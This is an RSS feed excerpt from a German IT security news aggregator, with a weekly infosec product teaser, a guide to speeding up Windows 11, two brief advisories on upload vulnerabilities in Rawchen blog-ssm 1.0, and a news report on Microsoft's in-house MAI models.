<description><![CDATA[Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and d...]]></description>
<link>https://tsecurity.de/de/3690679/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690679/it-security-nachrichten/new-infosec-products-of-the-week-july-24-2026/</guid>
<pubDate>Fri, 24 Jul 2026 06:26:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Here’s a look at the most interesting products from the past week, featuring releases from Astelia, Druva, Swimlane, and ThreatDown. Druva brings backup, recovery and governance to AI workloads Druva has announced Druva AI Resilience, a new approach that helps organizations recover, govern, and defend the systems, activity, and context behind AI-powered work. The launch introduces new and expanded capabilities for Microsoft Copilot, Claude Code, Druva Model Context Protocol (MCP), and Dru SRE Agent for … <a href="https://www.helpnetsecurity.com/2026/07/24/new-infosec-products-of-the-week-july-24-2026/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/24/new-infosec-products-of-the-week-july-24-2026/">New infosec products of the week: July 24, 2026</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows 11 schneller machen]]></title>
<description><![CDATA[Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt’s im Handumdrehen.
					Foto: Microsoft




Im Vergleich zu Windows 10 hat Microsoft bei Windows 11 einige Maßnahmen ergriffen, um die PC-Performance zu optimieren. Das heißt allerdings nicht, dass es nicht noch besser, bez...]]></description>
<link>https://tsecurity.de/de/3690608/it-security-nachrichten/windows-11-schneller-machen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690608/it-security-nachrichten/windows-11-schneller-machen/</guid>
<pubDate>Fri, 24 Jul 2026 05:19:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt's im Handumdrehen." title="Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt's im Handumdrehen." src="https://images.computerwoche.de/bdb/3388569/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Windows 11 (ab Version 22H2) schneller machen: Mit diesen 13 Tipps klappt’s im Handumdrehen.</p></figcaption></figure><p class="imageCredit">
					Foto: Microsoft</p></div>




<p class="wp-block-paragraph">Im Vergleich zu <a title="Windows 10" href="https://www.computerwoche.de/article/2823259/windows-11-im-windows-10-look-nutzen.html" target="_blank">Windows 10</a> hat Microsoft bei <a title="Windows 11" href="https://www.computerwoche.de/article/2805175/laeuft-win-11-auf-ihrem-pc.html" target="_blank">Windows 11</a> einige Maßnahmen ergriffen, um die PC-Performance zu optimieren. Das heißt allerdings nicht, dass es nicht noch besser, beziehungsweise schneller geht. Zum Beispiel mit den folgenden, simplen Optimierungstipps. Sie zu befolgen kann übrigens auch gewährleisten, dass Ihre <a class="idgGlossaryLink" href="https://www.computerwoche.de/operating-systems/" target="_blank">Windows</a>-11-Maschine nicht im Laufe der Zeit erlahmt.</p>



<h2 class="wp-block-heading">13 Tipps, um Windows 11 schneller zu machen</h2>



<p class="wp-block-paragraph">Vorab noch ein Hinweis: Wir beziehen uns in diesem Artikel auf <a title="Windows 11 Version 22H2" href="https://www.computerwoche.de/article/2816557/die-erste-version-auf-die-firmen-wechseln-koennen.html" target="_blank">Windows 11 Version 22H2</a>. Wenn Sie eine frühere Version von <a class="idgGlossaryLink" href="https://www.computerwoche.de/operating-systems/" target="_blank">Windows</a> 11 nutzen, stehen einige Features unter Umständen nicht zur Verfügung oder sehen anders aus.</p>



<p class="wp-block-paragraph"><strong>1. Autostart deaktivieren</strong></p>



<p class="wp-block-paragraph">Programme, die zwar im Hintergrund laufen, aber nur selten oder nie verwendet werden, können Ihren PC verlangsamen. Zu unterbinden, dass solche Applikationen zum Systemstart ausgeführt werden, kann Ihren Rechner entsprechend beschleunigen. Dazu rufen Sie zunächst den <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> Task Manager auf, indem Sie: </p>



<ul class="wp-block-list">
<li><p>entweder die <a title="Tastenkombination" href="https://www.computerwoche.de/article/2718711/windows-10-wichtige-tastenkombinationen-im-ueberblick.html" target="_blank">Tastenkombination</a> <strong>Strg + Alt + Entf</strong> eingeben, oder</p></li>



<li><p>den Task Manager über die Windows-Suchleiste starten.</p></li>
</ul>



<p class="wp-block-paragraph">Im Task Manager klicken Sie rechts auf den Menüpunkt “<strong>Autostart von Apps</strong>“. Nun sehen Sie eine Liste der Programme und Dienste, die beim Start von <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> initiiert werden – inklusive der Info, wie sich die jeweilige App auf den Startprozess auswirkt (dieser Wert bezieht sich allerdings nur auf den Startvorgang, nicht den laufenden Windows-11-Betrieb). Um zu verhindern, dass eines der gelisteten Programme oder Dienste zusammen mit dem System gestartet wird, genügt ein Rechtsklick, die Auswahl von “<strong>Deaktivieren</strong>” sowie ein anschließender Neustart des Rechners.</p>



<p class="wp-block-paragraph"><strong>2. Effizienzmodus verwenden</strong></p>



<p class="wp-block-paragraph">Über den Task Manager initiieren Sie einen weiteren Trick, um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 schneller zu machen. Den mit Windows 11 22H2 eingeführten “<strong>Effizienzmodus</strong>“, der Ihren PC beschleunigen und zudem die Akkulaufzeit Ihres Laptops optimieren kann. Neben anderen Maßnahmen regelt der Effizienzmodus in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 zum Beispiel die Priorität von Prozessen und Anwendungen, die im Hintergrund laufen. Dabei ist der Begriff allerdings etwas irreführend, denn Sie können nicht Ihren gesamten Rechner in den Effizienzmodus versetzen – sondern lediglich <a href="https://www.computerwoche.de/article/2860610/effizienzmodus-fuer-programme-aktivieren.html" title="einzelne Anwendungen und Prozesse" target="_blank">einzelne Anwendungen und Prozesse</a>. Der Haken dabei: Das funktioniert nur mit bestimmten.</p>



<p class="wp-block-paragraph">Rufen Sie den Task Manager (siehe oben) auf und wählen sie im Menü links den Punkt “<strong>Prozesse</strong>“. Rechts sehen Sie nun eine Liste der Anwendungen und Prozesse, die aktuell laufen. Wenn Sie einen der Listeneinträge auswählen, haben Sie oben rechts im Task Manager die Möglichkeit, den <strong>Effizienzmodus</strong> zu aktivieren. Ist die Schaltfläche ausgegraut, steht die Funktion für die ausgewählte App nicht zur Verfügung. Darüber hinaus wissenswert: Unter <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 arbeiten einige Anwendungen standardmäßig im Effizienzmodus, ohne die Möglichkeit, diesen zu deaktivieren (etwa <a href="https://www.computerwoche.de/article/2823167/edge-browser-zwang-in-teams-und-outlook.html" title="Microsoft Edge" target="_blank">Microsoft Edge</a>).</p>



<p class="wp-block-paragraph"><strong>3. Automatisierte Wartung nutzen</strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 führt im Hintergrund kontinuierlich Wartungsmaßnahmen an Ihrem PC durch, beispielsweise Sicherheits-Scans und Systemdiagnosen. Das soll sicherstellen, dass alles auf dem neuesten Stand ist, eventuelle Probleme automatisch behoben werden und das Device mit optimaler Leistung läuft. Sie sollten deshalb sicherstellen, dass die automatische Wartung durch Windows aktiviert ist. Bei Bedarf können Sie diese Funktion auch manuell starten.</p>



<p class="wp-block-paragraph">Rufen Sie dazu die <strong>Systemsteuerung</strong> auf und wählen Sie dort <strong>System und Sicherheit</strong> -&gt; <strong>Sicherheit und Wartung</strong>. Hier finden Sie den Abschnitt “<strong>Automatische Wartung</strong>“, inklusive der Option, diese direkt manuell zu starten.</p>



<p class="wp-block-paragraph"><strong>4. Adware und Bloatware beseitigen</strong></p>



<p class="wp-block-paragraph">Möglicherweise liegt es gar nicht an <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11, dass Ihr PC langsam startet. Eventuell beansprucht auch <a href="https://www.computerwoche.de/article/2860628/installation-ohne-bloatware.html" title="Bloat" target="_blank">Bloat</a>– oder Adware die Systemressourcen über Gebühr. Software dieser Art wird oft vom Hersteller Ihres PCs vorinstalliert – und in der Regel standardmäßig auch beim Systemstart aktiviert.</p>



<p class="wp-block-paragraph">Um das abzustellen, führen Sie zunächst einen System-Scan durch, um Adware und Malware aufzuspüren. Wenn Sie bereits eine Security-Suite installiert haben, können Sie diese dazu verwenden. Ansonsten empfiehlt sich für diese Aufgabe der in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 integrierte <a href="https://www.computerwoche.de/article/2858833/mit-dem-microsoft-defender-nach-viren-suchen.html" title="Defender" target="_blank">Defender</a>. Um einen Scan zu starten, suchen Sie die App über das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld. Anschließend können Sie mit einem zweiten Tool auf Nummer sicher gehen – dazu empfiehlt sich zum Beispiel das kostenlose Tool von <a href="https://de.malwarebytes.com/" title="Malwarebytes" target="_blank" rel="noopener">Malwarebytes</a>. Anschließend geht es der Bloatware an den Kragen. Dazu empfehlen sich zwei Werkzeuge:</p>



<ul class="wp-block-list">
<li><p>Das kostenlose Anti-Bloatware-Tool “<strong><a title="Bulk Crap Uninstaller" href="https://www.bcuninstaller.com/" target="_blank" rel="noopener">Bulk Crap Uninstaller</a></strong>” und</p></li>



<li><p>die Webseite “<strong><a title="Should I Remove It?" href="https://www.shouldiremoveit.com/" target="_blank" rel="noopener">Should I Remove It?</a></strong>“.</p></li>
</ul>



<p class="wp-block-paragraph">Letztere bietet nicht nur wertvolle Tipps zu installierter Software auf Ihrem System, sondern bietet auch diverse nützliche Inhalte, die Sie dabei unterstützt, Bloatware von den Systemen verschiedener <a href="https://www.shouldiremoveit.com/oems-bloatware.aspx" title="spezifischer Hersteller" target="_blank" rel="noopener">spezifischer Hersteller</a> zu entfernen.</p>



<p class="wp-block-paragraph"><strong>5. Suchindizierung abschalten</strong></p>



<p class="wp-block-paragraph">Die <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-Suche führt im Hintergrund eine Indizierung der Festplattendaten durch, damit Sie Ihren PC schneller durchsuchen können. Die beschleunigten Suchvorgänge können allerdings zu einem langsameren Rechner führen, denn die Suchindizierung kostet Ressourcen. Dies gilt insbesondere für Systeme, die ohnehin etwas schwach auf der Brust sind. Bei ihnen kann es zu einem Geschwindigkeitsschub führen, die Suchindizierung abzuschalten. </p>



<p class="wp-block-paragraph">Um das zu bewerkstelligen, geben Sie <strong>services.msc</strong> in das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld ein und öffnen die <strong>Dienste-App</strong>. In der Auflistung scrollen Sie bis zum Eintrag “<strong>Windows Search</strong>” – und vollziehen einen Doppelklick. Im folgenden Fenster können Sie den Dienst stoppen und Ihren Rechner neu starten. Anschließend sind Ihre Suchvorgänge möglicherweise etwas langsamer, den Unterschied werden Sie allerdings kaum bemerken. Dafür sollten Sie den Geschwindigkeitszuwachs umso mehr spüren.</p>



<p class="wp-block-paragraph">Alternativ können Sie die Indizierung auch nur für Dateien an bestimmten Speicherorten deaktivieren, während Dateien und Ordner, in, beziehungsweise nach denen Sie häufig suchen, weiterhin indiziert werden. Dazu geben Sie im <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld “<strong>index</strong>” ein und öffnen anschließend die App “<strong>Indizierungsoptionen</strong>“. Klicken Sie auf die Schaltfläche “<strong>Ändern</strong>“, und Sie sehen eine Liste der Speicherorte, die indiziert werden. Damit ein spezifischer Speicherport nicht mehr indiziert wird, deaktivieren Sie einfach das entsprechende Kontrollkästchen daneben.</p>



<p class="wp-block-paragraph"><strong>6. Festplatte entrümpeln</strong></p>



<p class="wp-block-paragraph">Eine überfüllte Festplatte mit Dateien, die nicht mehr benötigt werden, kann Ihren PC ausbremsen. Sich ein paar Minuten Zeit zu nehmen, um Ihre Festplatte aufzuräumen, kann in einen sofortigen Geschwindigkeitsschub resultieren. Dazu brauchen Sie nicht mehr als das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-Bord-Tool “<strong>Speicheroptimierung</strong>“.</p>



<p class="wp-block-paragraph">Dieses finden Sie über das Einstellungsmenü, unter dem Punkt <strong>System</strong> -&gt; <strong>Speicher</strong>. Wenn Sie den Schieberegler bei Speicheroptimierung nach rechts schieben, überwacht <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 Ihren PC kontinuierlich und löscht automatisiert temporäre oder alte Dateien. Dabei können Sie die Funktionsweise des Tools an Ihre Bedürfnisse anpassen. Sie können die Speicheroptimierung auch anweisen, Dateien in Ihrem Download-Ordner oder Ihrem Papierkorb nach einer bestimmten Frist zu löschen.</p>



<p class="wp-block-paragraph"><strong>7. Schatten, Animationen und visuelle Effekte deaktivieren</strong></p>



<p class="wp-block-paragraph">Auf schnellen, neueren PCs beeinträchtigen die visuellen Effekte von <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 die PC-Leistung für gewöhnlich nicht. Auf älteren, langsameren Rechnern kann das anders aussehen. Sollte Ihr PC in letztgenannte Kategorie fallen, fahren Sie in der Regel besser, wenn Sie die visuellen Schmankerl von Windows 11 deaktivieren.</p>



<p class="wp-block-paragraph">Dazu geben Sie <strong>sysdm.cpl</strong> in das <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Suchfeld ein und starten das gleichnamige Systemsteuerungselement. Im folgenden Dialogfeld “<strong>Systemeigenschaften</strong>” navigieren Sie zur Registerkarte “<strong>Erweitert</strong>“. Anschließend klicken Sie auf die Schaltfläche “<strong>Eigenschaften</strong>” im Bereich “<strong>Leistung</strong>“. Sie sehen nun das Dialogfeld “Leistungsoptionen” mit einer langen Liste von Animationen und Spezialeffekten. Hier können Sie nach Belieben experimentieren. Wenn Sie einfach nur zielstrebig die größten Performance-Fresser entfernen möchten – das sind in der Regel die Optionen:</p>



<ul class="wp-block-list">
<li><p>Animation beim Minimieren und Maximieren von Fenstern;</p></li>



<li><p>Animationen auf der Taskleiste;</p></li>



<li><p>Fensterschatten anzeigen;</p></li>



<li><p>Menüelemente nach Aufruf ausblenden;</p></li>



<li><p>Menüs in Ansicht ein- oder ausblenden;</p></li>



<li><p>Quickinfo in Ansicht ein- oder ausblenden;</p></li>



<li><p>Steuerelemente und Elemente innerhalb von Fenstern animieren.</p></li>
</ul>



<p class="wp-block-paragraph">Die einfachste Lösung: Wählen Sie oben im Dialogfeld die Option “<strong>Optimale Einstellung automatisch auswählen</strong>“. In diesem Fall deaktiviert <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 automatisch die Effekte, die Ihr System verlangsamen.</p>



<p class="wp-block-paragraph"><strong>8. Transparenz deaktivieren</strong></p>



<p class="wp-block-paragraph">Ein weiterer Hebel, um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 schneller zu machen: Deaktivieren Sie auch die Transparenzeffekte in der Taskleiste und an anderen Stellen. Diese kosten erstaunlich viel Systemleistung. Klicken Sie sich dazu im Einstellungsmenü über “<strong>Personalisierung</strong>” bis zu “<strong>Farben</strong>” durch und schieben Sie den Schieberegler für die Transparenzeffekte auf Aus.</p>



<p class="wp-block-paragraph"><strong>9. Energieeinstellungen anpassen</strong></p>



<p class="wp-block-paragraph">Mit Hilfe der Energieeinstellungen Ihres <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-PCs können Sie Energieeffizienz und Leistung in Einklang bringen. Ist auf Ihrem System ein Energiesparplan aktiviert, führt das also in jedem Fall zu Leistungseinbußen.</p>



<p class="wp-block-paragraph">Um das zu verhindern, rufen Sie die Systemsteuerung auf und wählen dann “<strong>Hardware und Sound</strong>“, gefolgt von “<strong>Energieoptionen</strong>“. Wählen Sie nun die gewünschte Einstellung. Für Desktop-Benutzer gibt es keinen Grund, die Option “Energiesparen” zu wählen – und selbst Laptop-Benutzer sollten die Option “Ausgewogen” in Betracht ziehen.</p>



<p class="wp-block-paragraph"><strong>10. Windows-Tipps und -Tricks abschalten</strong></p>



<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 analysiert ständig, was Sie auf Ihrem PC tun, und gibt Ihnen an diversen Stellen Tipps, “um noch mehr zu machen”. Hilfreich sind die allerdings selten – und ein schlechtes Gefühl gibt’s inklusive, wenn Windows ständig über die Schulter schaut. Viel wichtiger ist aber, dass diese Art des Monitorings auch Ihr System verlangsamen kann.</p>



<p class="wp-block-paragraph">Um <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 dazu zu bringen, die Ratschläge für sich zu behalten, öffnen Sie das Einstellungsmenü und wählen anschließend “<strong>System</strong>” und dann “<strong>Benachrichtigungen</strong>“. Hier scrollen Sie ganz nach unten, um unter dem Punkt “<strong>Zusätzliche Einstellungen</strong>” das Kontrollkästchen “<strong>Tipps und Vorschläge erhalten, wenn Windows verwendet wird</strong>“.</p>



<p class="wp-block-paragraph"><strong>11. Spielmodus deaktivieren</strong></p>



<p class="wp-block-paragraph">Der in <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> 11 integrierte Spielmodus ist sinnvoll, wenn Sie Games zocken. Sobald das System eines erkennt, verwendet es die Systemressourcen vorrangig dafür – zulasten aller anderen Anwendungen und Hintergrundprozesse. Wenn Sie allerdings gerade nicht, beziehungsweise nie spielen, kann der Spielmodus Ihr System verlangsamen, denn er hält einige Systemressourcen in Reserve – und führt gelegentlich auch zu Stabilitätsproblemen. </p>



<p class="wp-block-paragraph">Da der Spielmodus standardmäßig aktiviert ist, müssen Sie ihn abschalten. Dazu rufen Sie im Einstellungsmenü “<strong>Spiele</strong>” und anschließend “<strong>Spielemodus</strong>” auf und betätigen den Schieberegler entsprechend.</p>



<p class="wp-block-paragraph"><strong>12. Treiber aktualisieren</strong></p>



<p class="wp-block-paragraph">Veraltete Treiber können Ihren <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-11-PC signifikant erlahmen lassen. Um zu verhindern, dass es soweit kommt, gehen Sie wie folgt vor: </p>



<ul class="wp-block-list">
<li><p>Rufen Sie die Windows-Einstellungen auf (<strong>Windows-Taste + I</strong>).</p></li>



<li><p>Wählen Sie zunächst “<strong>Windows Update</strong>” im Menü links, anschließend im Hauptfenster zuerst “<strong>Erweiterte Optionen</strong>“, dann “<strong>Optionale Updates</strong>“.</p></li>



<li><p>In der <strong>Treiberupdate</strong>-Auflistung dürfen Sie nun diejenigen auswählen, die Sie herunterladen und installieren möchten.</p></li>
</ul>



<p class="wp-block-paragraph"><strong>13. Windows neu starten</strong></p>



<p class="wp-block-paragraph">Last, but not least eine echte Geheimwaffe aus den <a href="https://www.computerwoche.de/article/2616501/die-duemmsten-it-support-anfragen.html" title="IT-Abteilungen dieser Welt" target="_blank">IT-Abteilungen dieser Welt</a>: Wenn Ihr Rechner lahmt, <strong>starten Sie ihn neu</strong>. Das sorgt dafür, dass der Arbeitsspeicher wieder ins Reine kommt und nicht mehr benötigte Prozesse beendet werden.</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Computerworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-40037 | Rawchen blog-ssm 1.0 /upFile unrestricted upload (EUVD-2022-43361)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Rawchen blog-ssm 1.0. This vulnerability affects unknown code of the file /upFile. Performing a manipulation results in unrestricted upload.

This vulnerability is cataloged as CVE-2022-40037. The attack must originate from the local networ...]]></description>
<link>https://tsecurity.de/de/3690562/sicherheitsluecken/cve-2022-40037-rawchen-blog-ssm-10-upfile-unrestricted-upload-euvd-2022-43361/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690562/sicherheitsluecken/cve-2022-40037-rawchen-blog-ssm-10-upfile-unrestricted-upload-euvd-2022-43361/</guid>
<pubDate>Fri, 24 Jul 2026 04:26:10 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/rawchen:blog-ssm">Rawchen blog-ssm 1.0</a>. This vulnerability affects unknown code of the file <em>/upFile</em>. Performing a manipulation results in unrestricted upload.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2022-40037">CVE-2022-40037</a>. The attack must originate from the local network. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-40035 | Rawchen blog-ssm 1.0 /uploadFileList unrestricted upload (EUVD-2022-43359)]]></title>
<description><![CDATA[A vulnerability was found in Rawchen blog-ssm 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /uploadFileList. Executing a manipulation can lead to unrestricted upload.

This vulnerability appears as CVE-2022-40035. The attacker needs to be p...]]></description>
<link>https://tsecurity.de/de/3690560/sicherheitsluecken/cve-2022-40035-rawchen-blog-ssm-10-uploadfilelist-unrestricted-upload-euvd-2022-43359/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690560/sicherheitsluecken/cve-2022-40035-rawchen-blog-ssm-10-uploadfilelist-unrestricted-upload-euvd-2022-43359/</guid>
<pubDate>Fri, 24 Jul 2026 04:26:07 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/rawchen:blog-ssm">Rawchen blog-ssm 1.0</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. Affected by this vulnerability is an unknown functionality of the file <em>/uploadFileList</em>. Executing a manipulation can lead to unrestricted upload.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2022-40035">CVE-2022-40035</a>. The attacker needs to be present on the local network. There is no available exploit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]></title>
<description><![CDATA[Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most ...]]></description>
<link>https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/</guid>
<pubDate>Fri, 24 Jul 2026 02:50:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://microsoft.ai/">Microsoft AI</a> released two new in-house models into public preview on Wednesday — <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a>, its highest-fidelity image generator to date, and <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a>, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.</p><p>The announcement, made by <a href="https://microsoft.ai/">Microsoft AI's Superintelligence team</a>, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: <a href="https://www.bing.com/">Bing</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, <a href="https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage">OneDrive</a>, <a href="https://www.microsoft.com/en-us/dynamics-365">Dynamics 365</a>, <a href="https://excel.cloud.microsoft/en-us/">Excel</a>, <a href="https://github.com/features/copilot">GitHub Copilot</a>, and <a href="https://azure.microsoft.com/en-us">Azure</a>. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.</p><p>"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.</p><h2><b>How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve</b></h2><p>The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5-Pro</a> targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a> model recently launched at <a href="https://microsoft.ai/news/introducing-mai-image-2-5/">No. 2 for image editing on Arena</a>, the community leaderboard that has become a de facto scoreboard for generative media.</p><p>The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."</p><p><a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> goes the other direction. First previewed at Microsoft's <a href="https://news.microsoft.com/build-2026/">Build conference</a>, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.</p><h2><b>Microsoft's production metrics show in-house models cutting GPU costs by up to 89%</b></h2><p>The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. </p><p><a href="https://explore.microsoft.com/en-us/bing/features/bing-image-creator?form=MA13FV">Bing Image Creator </a>now runs entirely on <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Image-2.5</a>, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.</p><p>On the voice side, <a href="https://microsoft.ai/news/introducing-mai-image-2-5-pro-and-mai-voice-2-flash/">MAI-Voice-2-Flash</a> now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.</p><p>Perhaps the most consequential deployment sits in healthcare. Microsoft's <a href="https://www.microsoft.com/en-us/health-solutions/clinical-workflow/dragon-copilot">Dragon Copilot</a>, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.</p><h2><b>Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel</b></h2><p>In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "<a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">hill-climbing machine</a>," an integrated flywheel of data, models, and the product "harness" that surrounds them.</p><p>The clearest example is <a href="https://microsoft.ai/news/introducingmai-code-1-flash/">MAI-Code-1-Flash</a>, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.</p><p>Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further <a href="https://microsoft.ai/news/hill-climbing-mai-models-for-github-copilot-and-excel/">trained it inside an Excel reinforcement learning environment</a>, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel 